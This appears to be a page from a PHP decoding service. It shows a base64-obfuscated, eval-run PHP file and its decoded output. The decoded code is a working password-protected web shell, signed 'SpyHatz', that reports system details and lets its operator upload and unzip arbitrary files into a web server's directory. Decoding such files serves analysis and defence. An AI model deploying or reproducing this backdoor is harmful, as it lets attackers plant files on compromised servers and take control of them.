Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgCnNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwo..

Decoded Output download

?>b'<?php 
session_start();
@set_time_limit(0);
$pass = md5(md5(md5($_POST[\'pass\'])));
$password="7f357797757749e85cfbd4eb0003daf0";

if($pass==$password){
$_SESSION[\'ses\'] = $pass;
}
if(!isset($_SESSION[\'ses\']))
{
die("<form method=post><input type=password name=pass></form>");
}
?>


<?php 
echo \'<b>Sw Bilgi<br><br>\'.php_uname().\'<br> Ykleyeceiniz Dosya .zip Olamldr.</b> // SpyHatz\'; 
echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; 
echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; 
if( $_POST[\'_upl\'] == "Upload" ) { 
$file = $_FILES[\'file\'][\'name\']; 
if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { 
$zip = new ZipArchive; 
if ($zip->open($file) === TRUE) { 
    $zip->extractTo(\'./\'); 
    $zip->close(); 
echo \'Ykleme Baarl\'; 
} else { 
echo \'Yklendi Ancak karma Baarsz.\'; 
}     
}else{  
echo \'<b>Basarisiz</b><br><br>\';  
} 
} 

?>
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgCnNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwokcGFzcyA9IG1kNShtZDUobWQ1KCRfUE9TVFsncGFzcyddKSkpOwokcGFzc3dvcmQ9IjdmMzU3Nzk3NzU3NzQ5ZTg1Y2ZiZDRlYjAwMDNkYWYwIjsKCmlmKCRwYXNzPT0kcGFzc3dvcmQpewokX1NFU1NJT05bJ3NlcyddID0gJHBhc3M7Cn0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnc2VzJ10pKQp7CmRpZSgiPGZvcm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